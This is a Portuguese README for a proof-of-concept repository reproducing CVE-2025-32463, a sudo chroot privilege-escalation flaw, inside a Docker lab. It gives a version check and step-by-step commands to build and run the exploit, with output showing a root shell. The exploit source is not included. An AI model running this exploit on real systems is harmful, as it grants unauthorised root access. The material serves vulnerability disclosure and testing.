Fortemente influenciado/copiado/baseado no formato de um repositório similar por pr0v3rbs -- https://github.com/pr0v3rbs/CVE-2025-32463i\_chwoot.git Esta é uma reimplementação em C para entrega, execução e limpeza rápidas a partir de uma única fonte.

CVE-2025-32463 – PoC do sudo chroot ('chwoot')

Este repositório fornece um ambiente mínimo e reproduzível para demonstrar a falha de elevação de privilégios CVE‑2025‑32463 no recurso chroot do sudo.

• Esta vulnerabilidade foi reportada por Rich Mirch (@0xm1rch no X) @ Stratascale.
• Postagem original: Aviso de Vulnerabilidade: Elevação de Privilégio no Sudo chroot
• NVD: CVE-2025-32463 (CVSS 9.3)

Versões Afetadas

As compilações vulneráveis do sudo 1.9.14 até 1.9.17 (todas as revisões p) na maioria das distribuições Linux são afetadas.

Páginas de Segurança

• Ubuntu (CVSS 9.3)
• Redhat (CVSS 7.8)
• SUSE (CVSS 7.8)
• Debian

Conteúdo

Verificação rápida de vulnerabilidade

# Vulnerable sudo
poc ~ $ sudo -R woot woot
sudo: woot: No such file or directory

# Patched sudo
poc ~ $ sudo -R woot woot
[sudo] password for poc:
sudo: you are not permitted to use the -R option with woot

Testar exploit no contêiner Docker

# 1 – clone repo
$ git clone https://github.com/vpr-labs/CVE-2025-32463.git
$ cd CVE-2025-32463

# 2 – build and run Docker image (tagged "vpr-chwoot")
$ ./run.sh

# 3 – run exploit in container (runs root command directly)
poc@f722d9182d1f:~$ make && ./vpr-chwoot
woot!
root@f722d9182d1f:/# id
uid=0(root) gid=0(root) groups=0(root),1001(poc)
root@f722d9182d1f:/#

run.sh passa --privileged e --rm para o Docker para que o contêiner se limpe ao sair.

Limpeza

Remova a imagem quando terminar:

docker rmi vpr-chwoot

Referência

• Nota de vulnerabilidade da Stratascale CRU: Aviso de Vulnerabilidade: Elevação de Privilégio no Sudo chroot